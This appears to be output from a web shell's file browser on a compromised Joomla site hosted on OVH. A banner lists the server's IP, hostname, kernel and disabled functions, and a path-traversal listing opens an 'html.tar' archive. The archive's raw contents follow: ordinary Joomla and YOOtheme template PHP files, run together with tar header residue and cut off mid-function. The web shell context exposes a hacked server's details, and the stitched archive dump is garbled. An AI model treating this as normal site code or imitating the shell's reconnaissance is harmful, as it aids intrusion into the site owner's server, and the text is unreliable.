uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
..
/
c9989
/
..
/
libraries
/
..
/
media
/
breezingforms
/
..
/
..
/
html.tar
/
/
layouts/chromes/card.php000064400000004021151666570370011343 0ustar00<?php /** * @package Joomla.Site * @subpackage Templates.cassiopeia * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; $module = $displayData['module']; $params = $displayData['params']; $attribs = $displayData['attribs']; if ($module->content === null || $module->content === '') { return; } $moduleTag = $params->get('module_tag', 'div'); $moduleAttribs = []; $moduleAttribs['class'] = $module->position . ' card ' . htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_QUOTES, 'UTF-8'); $headerTag = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8'); $headerClass = htmlspecialchars($params->get('header_class', ''), ENT_QUOTES, 'UTF-8'); $headerAttribs = []; $headerAttribs['class'] = $headerClass; // Only output a header class if it is not card-title if ($headerClass !== 'card-title') : $headerAttribs['class'] = 'card-header ' . $headerClass; endif; // Only add aria if the moduleTag is not a div if ($moduleTag !== 'div') { if ($module->showtitle) : $moduleAttribs['aria-labelledby'] = 'mod-' . $module->id; $headerAttribs['id'] = 'mod-' . $module->id; else : $moduleAttribs['aria-label'] = htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); endif; } $header = '<' . $headerTag . ' ' . ArrayHelper::toString($headerAttribs) . '>' . $module->title . '</' . $headerTag . '>'; ?> <<?php echo $moduleTag; ?> <?php echo ArrayHelper::toString($moduleAttribs); ?>> <?php if ($module->showtitle && $headerClass !== 'card-title') : ?> <?php echo $header; ?> <?php endif; ?> <div class="card-body"> <?php if ($module->showtitle && $headerClass === 'card-title') : ?> <?php echo $header; ?> <?php endif; ?> <?php echo $module->content; ?> </div> </<?php echo $moduleTag; ?>> layouts/chromes/noCard.php000064400000003357151666570370011653 0ustar00<?php /** * @package Joomla.Site * @subpackage Templates.cassiopeia * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; $module = $displayData['module']; $params = $displayData['params']; $attribs = $displayData['attribs']; if ($module->content === null || $module->content === '') { return; } $moduleTag = $params->get('module_tag', 'div'); $moduleAttribs = []; $moduleAttribs['class'] = $module->position . ' no-card ' . htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_QUOTES, 'UTF-8'); $headerTag = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8'); $headerClass = htmlspecialchars($params->get('header_class', ''), ENT_QUOTES, 'UTF-8'); $headerAttribs = []; // Only output a header class if one is set if ($headerClass !== '') { $headerAttribs['class'] = $headerClass; } // Only add aria if the moduleTag is not a div if ($moduleTag !== 'div') { if ($module->showtitle) : $moduleAttribs['aria-labelledby'] = 'mod-' . $module->id; $headerAttribs['id'] = 'mod-' . $module->id; else : $moduleAttribs['aria-label'] = htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); endif; } $header = '<' . $headerTag . ' ' . ArrayHelper::toString($headerAttribs) . '>' . $module->title . '</' . $headerTag . '>'; ?> <<?php echo $moduleTag; ?> <?php echo ArrayHelper::toString($moduleAttribs); ?>> <?php if ($module->showtitle) : ?> <?php echo $header; ?> <?php endif; ?> <?php echo $module->content; ?> </<?php echo $moduleTag; ?>> mod_menu/dropdown-metismenu_heading.php000064400000003605151666570370014423 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\Utilities\ArrayHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } $attributes['class'] = 'mod-menu__heading nav-header'; $attributes['class'] .= $item->anchor_css ? ' ' . $item->anchor_css : null; $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($showAll && $item->deeper) { $attributes['class'] .= ' mm-collapsed mm-toggler mm-toggler-nolink'; $attributes['aria-haspopup'] = 'true'; $attributes['aria-expanded'] = 'false'; echo '<button ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</button>'; } else { echo '<span ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</span>'; } mod_menu/dropdown-metismenu.php000064400000005637151666570370012753 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; use Joomla\Utilities\ArrayHelper; /** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $app->getDocument()->getWebAssetManager(); $wa->registerAndUseScript('metismenu', 'media/templates/site/cassiopeia/js/mod_menu/menu-metismenu.min.js', [], ['defer' => true], ['metismenujs']); $attributes = []; $attributes['class'] = 'mod-menu mod-menu_dropdown-metismenu metismenu mod-list ' . $class_sfx; if ($tagId = $params->get('tag_id', '')) { $attributes['id'] = $tagId; } $start = (int) $params->get('startLevel', 1); ?> <ul <?php echo ArrayHelper::toString($attributes); ?>> <?php foreach ($list as $i => &$item) { // Skip sub-menu items if they are set to be hidden in the module's options if (!$showAll && $item->level > $start) { continue; } $itemParams = $item->getParams(); $class = []; $class[] = 'metismenu-item item-' . $item->id . ' level-' . ($item->level - $start + 1); if ($item->id == $default_id) { $class[] = 'default'; } if ($item->id == $active_id || ($item->type === 'alias' && $itemParams->get('aliasoptions') == $active_id)) { $class[] = 'current'; } if (in_array($item->id, $path)) { $class[] = 'active'; } elseif ($item->type === 'alias') { $aliasToId = $itemParams->get('aliasoptions'); if (count($path) > 0 && $aliasToId == $path[count($path) - 1]) { $class[] = 'active'; } elseif (in_array($aliasToId, $path)) { $class[] = 'alias-parent-active'; } } if ($item->type === 'separator') { $class[] = 'divider'; } if ($showAll) { if ($item->deeper) { $class[] = 'deeper'; } if ($item->parent) { $class[] = 'parent'; } } echo '<li class="' . implode(' ', $class) . '">'; switch ($item->type) : case 'separator': case 'component': case 'heading': case 'url': require ModuleHelper::getLayoutPath('mod_menu', 'dropdown-metismenu_' . $item->type); break; default: require ModuleHelper::getLayoutPath('mod_menu', 'dropdown-metismenu_url'); endswitch; switch (true) : // The next item is deeper. case $showAll && $item->deeper: echo '<ul class="mm-collapse">'; break; // The next item is shallower. case $item->shallower: echo '</li>'; echo str_repeat('</ul></li>', $item->level_diff); break; // The next item is on the same level. default: echo '</li>'; break; endswitch; } ?></ul> mod_menu/dropdown-metismenu_separator.php000064400000003606151666570370015025 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\Utilities\ArrayHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } $attributes['class'] = 'mod-menu__separator separator'; $attributes['class'] .= $item->anchor_css ? ' ' . $item->anchor_css : null; $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($showAll && $item->deeper) { $attributes['class'] .= ' mm-collapsed mm-toggler mm-toggler-nolink'; $attributes['aria-haspopup'] = 'true'; $attributes['aria-expanded'] = 'false'; echo '<button ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</button>'; } else { echo '<span ' . ArrayHelper::toString($attributes) . '>' . $linktype . '</span>'; } mod_menu/dropdown-metismenu_component.php000064400000004454151666570370015031 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\HTML\HTMLHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } if ($item->anchor_css) { $attributes['class'] = $item->anchor_css; } if ($item->anchor_rel) { $attributes['rel'] = $item->anchor_rel; } if ($item->id == $active_id) { $attributes['aria-current'] = 'location'; if ($item->current) { $attributes['aria-current'] = 'page'; } } $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($item->browserNav == 1) { $attributes['target'] = '_blank'; } elseif ($item->browserNav == 2) { $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes'; $attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;"; } echo HTMLHelper::link(OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes); if ($showAll && $item->deeper) { echo '<button class="mm-collapsed mm-toggler mm-toggler-link" aria-haspopup="true" aria-expanded="false" aria-label="' . $item->title . '"></button>'; } mod_menu/dropdown-metismenu_url.php000064400000004474151666570370013633 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Filter\OutputFilter; use Joomla\CMS\HTML\HTMLHelper; $attributes = []; if ($item->anchor_title) { $attributes['title'] = $item->anchor_title; } if ($item->anchor_css) { $attributes['class'] = $item->anchor_css; } if ($item->anchor_rel) { $attributes['rel'] = $item->anchor_rel; } $linktype = $item->title; if ($item->menu_icon) { // The link is an icon if ($itemParams->get('menu_text', 1)) { // If the link text is to be displayed, the icon is added with aria-hidden $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span>' . $item->title; } else { // If the icon itself is the link, it needs a visually hidden text $linktype = '<span class="p-2 ' . $item->menu_icon . '" aria-hidden="true"></span><span class="visually-hidden">' . $item->title . '</span>'; } } elseif ($item->menu_image) { // The link is an image, maybe with an own class $image_attributes = []; if ($item->menu_image_css) { $image_attributes['class'] = $item->menu_image_css; } $linktype = HTMLHelper::_('image', $item->menu_image, $item->title, $image_attributes); if ($itemParams->get('menu_text', 1)) { $linktype .= '<span class="image-title">' . $item->title . '</span>'; } } if ($item->browserNav == 1) { $attributes['target'] = '_blank'; $attributes['rel'] = 'noopener noreferrer'; if ($item->anchor_rel == 'nofollow') { $attributes['rel'] .= ' nofollow'; } } elseif ($item->browserNav == 2) { $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params->get('window_open'); $attributes['onclick'] = "window.open(this.href, 'targetWindow', '" . $options . "'); return false;"; } echo HTMLHelper::link(OutputFilter::ampReplace(htmlspecialchars($item->flink, ENT_COMPAT, 'UTF-8', false)), $linktype, $attributes); if ($showAll && $item->deeper) { echo '<button class="mm-collapsed mm-toggler mm-toggler-link" aria-haspopup="true" aria-expanded="false" aria-label="' . $item->title . '"></button>'; } mod_menu/collapse-metismenu.php000064400000001732151666570370012711 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_menu * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; HTMLHelper::_('bootstrap.collapse'); ?> <nav class="navbar navbar-expand-lg" aria-label="<?php echo htmlspecialchars($module->title, ENT_QUOTES, 'UTF-8'); ?>"> <button class="navbar-toggler navbar-toggler-right" type="button" data-bs-toggle="collapse" data-bs-target="#navbar<?php echo $module->id; ?>" aria-controls="navbar<?php echo $module->id; ?>" aria-expanded="false" aria-label="<?php echo Text::_('MOD_MENU_TOGGLE'); ?>"> <span class="icon-menu" aria-hidden="true"></span> </button> <div class="collapse navbar-collapse" id="navbar<?php echo $module->id; ?>"> <?php require __DIR__ . '/dropdown-metismenu.php'; ?> </div> </nav> tinymce/index.html000064400000000037151666570370010231 0ustar00<!DOCTYPE html><title></title> mod_custom/banner.php000064400000001531151666570370010713 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_custom * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Uri\Uri; $modId = 'mod-custom' . $module->id; if ($params->get('backgroundimage')) { /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $app->getDocument()->getWebAssetManager(); $wa->addInlineStyle(' #' . $modId . '{background-image: url("' . Uri::root(true) . '/' . HTMLHelper::_('cleanImageURL', $params->get('backgroundimage'))->url . '");} ', ['name' => $modId]); } ?> <div class="mod-custom custom banner-overlay" id="<?php echo $modId; ?>"> <div class="overlay"> <?php echo $module->content; ?> </div> </div> plg_content_pagebreak/toc.php000060400000001362151666571450012375 0ustar00<?php namespace YOOtheme; use Joomla\CMS\Language\Text; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/plg_content_pagebreak/toc.php')) { return include $file; } ?> <?php if (!$showall) : $title = Text::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', $page + 1, count($list) - 1); // Show title only if it's a custom title, and not e.g. Page 2 if ($page && $list[$page + 1]->title != Text::sprintf('JLIB_HTML_PAGE_CURRENT', $page + 1)) { $title .= ': ' . htmlspecialchars($list[$page + 1]->title, ENT_QUOTES, 'UTF-8'); } ?> <p class="uk-text-meta tm-page-break <?= ($page == '0') ? 'tm-page-break-first-page' : '' ?>"><?= $title ?></p> <?php else : ?> <div class="tm-page-break-remove-br"></div> <?php endif ?> plg_content_pagebreak/navigation.php000060400000004242151666571450013747 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/plg_content_pagebreak/navigation.php')) { return include $file; } ?> <?php if ($links['next']) : $title = htmlspecialchars($this->list[$page + 2]->title, ENT_QUOTES, 'UTF-8'); $ariaLabel = Text::_('JNEXT') . ': ' . $title . ' (' . Text::sprintf('JLIB_HTML_PAGE_CURRENT_OF_TOTAL', ($page + 2), $n) . ')'; ?> <div class="uk-grid-small uk-flex-middle uk-text-default" uk-grid> <div> <a class="uk-button uk-button-secondary" href="<?= $links['next'] ?>" aria-label="<?= $ariaLabel ?>" rel="next"><?= Text::_('TPL_YOOTHEME_NEXT_PAGE') ?></a> </div> <?php // Show title only if it's a custom title, and not e.g. Page 2 if ($this->list[$page + 2]->title != Text::sprintf('JLIB_HTML_PAGE_CURRENT', $page + 2)) : ?> <div> <?= $title ?> </div> <?php endif ?> </div> <?php endif ?> <div class="uk-grid-small uk-flex-middle uk-child-width-auto uk-text-default uk-margin-top" uk-grid> <div> <?= Text::sprintf('JLIB_HTML_PAGE_CURRENT', '') ?> </div> <div> <nav aria-label="<?= Text::_('TPL_YOOTHEME_PAGINATION') ?>"> <ul class="uk-pagination uk-margin-remove-bottom"> <?php foreach ($this->list as $index => $item) : $active = isset($item->liClass) // Joomla 3 ? str_contains($item->liClass, 'active') // Joomla 4 : !empty($item->active); ?> <li<?= $active ? ' class="uk-active"' : '' ?>> <?php if ($index == $page + 1) : ?> <span aria-current="page"><?= ($index == array_key_last($this->list)) ? $item->title : $index ?></span> <?php else : ?> <a href="<?= $item->link ?>"><?= (Text::sprintf('PLG_CONTENT_PAGEBREAK_ALL_PAGES') == $item->title) ? $item->title : $index ?></a> <?php endif ?> </li> <?php endforeach ?> </ul> </nav> </div> </div> layouts/joomla/content/tags.php000060400000002107151666571450012662 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Access\Access; use Joomla\CMS\Factory; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; use Joomla\Registry\Registry; use YOOtheme\Path; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/layouts/joomla/content/tags.php')) { return include $file; } ?> <?php if (!empty($displayData)) : ?> <?php foreach ($displayData as $i => $tag) : ?> <?php if (in_array($tag->access, Access::getAuthorisedViewLevels(Factory::getUser()->get('id')))) : ?> <?php $seperator = $i !== array_key_last($displayData) ? ',' : '' ?> <?php $tagParams = new Registry($tag->params) ?> <?php $tagClass = trim(str_replace(['label-info', 'label'], '', $tagParams->get('tag_link_class', ''))) ?> <a href="<?= Route::_(RouteHelper::getTagRoute($tag->tag_id . ':' . $tag->alias)) ?>" class="<?= $tagClass ?>" property="keywords" vocab="https://schema.org/"><?= $this->escape($tag->title) ?></a><?= $seperator ?> <?php endif ?> <?php endforeach ?> <?php endif ?> layouts/joomla/pagination/link.php000060400000001574151666571450013347 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $item = $displayData['data']; if ($item->active) { echo "<li class=\"uk-active\"><span aria-current=\"page\">{$item->text}</span></li>"; } else { $cls = ''; $title = ''; if ($item->text == Text::_('JNEXT')) { $title = $item->text; $item->text = '<span uk-pagination-next></span>'; $cls = 'next'; } elseif ($item->text == Text::_('JPREV')) { $title = $item->text; $item->text = '<span uk-pagination-previous></span>'; $cls = 'previous'; } elseif ($item->text == Text::_('JLIB_HTML_START')) { $cls = 'first'; } elseif ($item->text == Text::_('JLIB_HTML_END')) { $cls = 'last'; } echo "<li><a class=\"{$cls}\" href=\"{$item->link}\"".($title ? " aria-label=\"{$title}\"" : '').">{$item->text}</a></li>"; } layouts/joomla/pagination/list.php000060400000003067151666571450013364 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $list = $displayData['list']; $config = app(Config::class); if (!$config('~theme.blog.pagination_startend')) { $list['start']['active'] = false; $list['end']['active'] = false; } // find out the id of the page, that is the current page $currentId = 0; foreach ($list['pages'] as $id => $page) { if (!$page['active']) { $currentId = $id; } } // set the range for the inner pages that should be displayed // this displays + - $range page-buttons around the current page // due to joomla-restrictions there won't be displayed more than -5 and +4 buttons. $range = 3; // start navigation echo '<nav class="uk-margin-large" aria-label="' . Text::_('TPL_YOOTHEME_PAGINATION') . '">'; // start building pagination-list echo '<ul class="uk-pagination uk-margin-remove-bottom uk-flex-center">'; // add first-button if ($list['start']['active'] == 1) { echo $list['start']['data']; } // add previous-button if ($list['previous']['active'] == 1) { echo $list['previous']['data']; } // add buttons for surrounding pages foreach ($list['pages'] as $id => $page) { // only show the buttons that are within the range if ($id <= $currentId + $range && $id >= $currentId - $range) { echo $page['data']; } } // add next-button if ($list['next']['active'] == 1) { echo $list['next']['data']; } // add last-button if ($list['end']['active'] == 1) { echo $list['end']['data']; } // close pagination-list echo '</ul>'; // close navigation echo '</nav>'; layouts/joomla/system/message.php000060400000002201151666571450013215 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use YOOtheme\Path; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/layouts/joomla/system/message.php')) { return include $file; } if (version_compare(JVERSION, '4.0', '>')) { return include JPATH_ROOT . '/layouts/joomla/system/message.php'; } $alert = [ 'message' => 'uk-alert-success', 'warning' => 'uk-alert-warning', 'error' => 'uk-alert-danger', 'notice' => '', 'info' => '', ]; $msgList = $displayData['msgList']; $msgAttr = json_encode($msgList); ?> <div id="system-message-container" data-messages="<?= htmlspecialchars($msgAttr) ?>"> <?php if (is_array($msgList) && !empty($msgList)) : ?> <?php foreach ($msgList as $type => $msgs) : ?> <div class="uk-alert <?= $alert[$type] ?>" uk-alert> <a href class="uk-alert-close uk-close" uk-close></a> <?php if (!empty($msgs)) : ?> <h3><?= Text::_($type) ?></h3> <?php foreach ($msgs as $msg) : ?> <p><?= $msg ?></p> <?php endforeach ?> <?php endif ?> </div> <?php endforeach ?> <?php endif ?> </div> layouts/joomla/edit/frontediting_modules.php000060400000005577151666571450015441 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; use YOOtheme\Path; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/layouts/joomla/edit/frontediting_modules.php')) { return include $file; } $mod = $displayData['module']; if (!intval($mod->id)) { return; } if (version_compare(JVERSION, '4.0', '<')) { return include JPATH_ROOT . '/layouts/joomla/edit/frontediting_modules.php'; } // JLayout for standard handling of the edit modules: $moduleHtml = &$displayData['moduleHtml']; $mod = $displayData['module']; $position = $displayData['position']; $menusEditing = $displayData['menusediting']; $parameters = ComponentHelper::getParams('com_modules'); $redirectUri = '&return=' . urlencode(base64_encode(Uri::getInstance()->toString())); $target = '_blank'; $itemid = Factory::getApplication()->input->get('Itemid', '0', 'int'); $editUrl = Uri::base() . 'administrator/index.php?option=com_modules&task=module.edit&id=' . (int) $mod->id; // If Module editing site if ($parameters->get('redirect_edit', 'site') === 'site') { $editUrl = Uri::base() . 'index.php?option=com_config&view=modules&id=' . (int) $mod->id . '&Itemid=' . $itemid . $redirectUri; $target = '_self'; } // Add link for editing the module $moduleHtml = '<a class="btn btn-link jmodedit" href="' . $editUrl . '" target="' . $target . '" aria-describedby="tip-' . (int) $mod->id . '"> <span class="icon-edit" aria-hidden="true"></span><span class="visually-hidden">' . Text::_('JGLOBAL_EDIT') . '</span></a> <div role="tooltip" id="tip-' . (int) $mod->id . '">' . Text::_('JLIB_HTML_EDIT_MODULE') . '<br>' . htmlspecialchars($mod->title, ENT_COMPAT, 'UTF-8') . '<br>' . sprintf(Text::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'), htmlspecialchars($position, ENT_COMPAT, 'UTF-8')) . '</div>' . $moduleHtml; // If menu editing is enabled and allowed and it's a menu module add link for editing if ($menusEditing && $mod->module === 'mod_menu') { // find the menu item id $regex = '/\bitem-(\d+)\b/'; preg_match_all($regex, $moduleHtml, $menuItemids); if ($menuItemids) { foreach ($menuItemids[1] as $menuItemid) { $menuitemEditUrl = Uri::base() . 'administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=' . (int) $menuItemid; $moduleHtml = preg_replace( // Find the link '/(<li.*?\bitem-' . $menuItemid . '.*?>)/', // Create and add the edit link '\\1 <a class="jmenuedit small" href="' . $menuitemEditUrl . '" target="' . $target . '" title="' . Text::_('JLIB_HTML_EDIT_MENU_ITEM') . ' ' . sprintf(Text::_('JLIB_HTML_EDIT_MENU_ITEM_ID'), (int) $menuItemid) . '"> <span class="icon-edit" aria-hidden="true"></span></a>', $moduleHtml ); } } } mod_breadcrumbs/default.php000060400000000574151666571450012053 0ustar00<?php namespace YOOtheme; use Joomla\CMS\Uri\Uri; defined('_JEXEC') or die; $view = app(View::class); if (!$params->get('showLast', 1)) { array_pop($list); } elseif ($list) { $list[count($list) - 1]->link = ''; } echo $view('~theme/templates/breadcrumbs', [ 'items' => $list, 'schemaorgId' => Uri::root() . '#/schema/BreadcrumbList/' . (int) $module->id ]); mod_articles_archive/default.php000060400000000366151666571450013070 0ustar00<?php defined('_JEXEC') or die; ?> <?php if (!empty($list)) : ?> <ul class="archive-module"> <?php foreach ($list as $item) : ?> <li><a href="<?= $item->link ?>"><?= $item->text ?></a></li> <?php endforeach ?> </ul> <?php endif ?> plg_content_pagenavigation/default.php000060400000002473151666571460014314 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Language\Text; if (Path::get(__FILE__) !== $file = Path::get('~theme/html/plg_content_pagenavigation/default.php')) { return include $file; } /** @var View $view */ [$view, $config] = app(View::class, Config::class); $props = [ 'isPage' => $row->catid == $config('~theme.page_category'), ]; $el = $view->el('nav', [ 'aria-label' => Text::_('TPL_YOOTHEME_PAGINATION'), 'class' => [ 'uk-margin-xlarge {@isPage}', 'uk-margin-medium {@!isPage}', ], ]); $list = $view->el('ul', [ 'class' => [ 'uk-pagination', 'uk-margin-remove-bottom', 'uk-flex-between {@isPage}', ], ]); $prev = $view->el('li'); $next = $view->el('li', [ 'class' => [ 'uk-margin-auto-left {@!isPage}', ], ]); ?> <?= $el() ?> <?= $list($props) ?> <?php if ($row->prev) : ?> <?= $prev($props) ?> <a href="<?= $row->prev ?>"><span uk-pagination-previous></span> <?= $row->prev_label ?></a> <?= $prev->end() ?> <?php endif ?> <?php if ($row->next) : ?> <?= $next($props) ?> <a href="<?= $row->next ?>"><?= $row->next_label ?> <span uk-pagination-next></span></a> <?= $next->end() ?> <?php endif ?> <?= $list->end() ?> <?= $el->end() ?> helpers.php000060400000015632151666571460006743 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\Registry\Registry; // Register helpers HTMLHelper::register('attrs', [$this->view, 'attrs']); HTMLHelper::register('render', [$this->view, 'render']); HTMLHelper::register('section', [$this->view, 'section']); // Add article loader $this->view->addLoader(function ($name, $parameters, $next) use ($theme) { $defaults = array_fill_keys(['title', 'author', 'content', 'hits', 'created', 'modified', 'published', 'category', 'image', 'tags', 'icons', 'readmore', 'pagination', 'link', 'permalink', 'event', 'single'], null); // Vars extract(array_replace($defaults, $parameters), EXTR_SKIP); // Params if (!isset($params)) { $params = $article->params; } elseif (is_array($params)) { $params = new Registry($params); } // Event if (isset($article->event)) { $event = $article->event; if (!$single && $params['show_intro']) { $event->afterDisplayTitle = ''; } } // Builder if ($theme->get('builder')) { return $next('article:builder', compact('app', 'article', 'theme', 'content')); } // Link if (!isset($link)) { $link = ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language); } // Permalink if (!isset($permalink)) { $permalink = Route::_($link, true, -1); } if ($params['access-view'] === false) { $menu = Factory::getApplication()->getMenu()->getActive(); $return = base64_encode(Route::_($link, false)); $link = new Uri(Route::_("index.php?option=com_users&view=login&Itemid={$menu->id}", false)); $link->setVar('return', $return); } // Title if ($params['show_title']) { $title = $article->title; if ($params['link_titles']) { $title = HTMLHelper::_('link', $link, $title, ['class' => 'uk-link-reset']); } } // Author if ($params['show_author']) { $author = $article->created_by_alias ?: $article->author; if ($params['link_author'] && $article->contact_link) { $author = HTMLHelper::_('link', $article->contact_link, $author); } } if (!empty($article->created_by_alias)) { $article->author = $article->created_by_alias; } // Hits if ($params['show_hits']) { $hits = $article->hits; } // Create date if ($params['show_create_date']) { $created = HTMLHelper::_('date', $article->created, Text::_('DATE_FORMAT_LC3')); $created = '<time datetime="' . HTMLHelper::_('date', $article->created, 'c') . "\">{$created}</time>"; } // Modify date if ($params['show_modify_date']) { $modified = HTMLHelper::_('date', $article->modified, Text::_('DATE_FORMAT_LC3')); $modified = '<time datetime="' . HTMLHelper::_('date', $article->modified, 'c') . "\">{$modified}</time>"; } // Publish date if ($params['show_publish_date']) { $published = HTMLHelper::_('date', $article->publish_up, Text::_('DATE_FORMAT_LC3')); $published = '<time datetime="' . HTMLHelper::_('date', $article->publish_up, 'c') . "\">{$published}</time>"; } // Category if ($params['show_category']) { $category = $article->category_title; if ($params['link_category'] && $article->catslug) { $category = HTMLHelper::_('link', Route::_(ContentHelperRoute::getCategoryRoute($article->catslug)), $category); } } // Image if (is_string($image)) { $images = new Registry($article->images); $imageType = $image; if ($images->get("image_{$imageType}")) { $image = new stdClass(); $image->link = $params['link_titles'] ? $link : null; $image->align = $images->get("float_{$imageType}") ?: $params["float_{$imageType}"]; $image->caption = 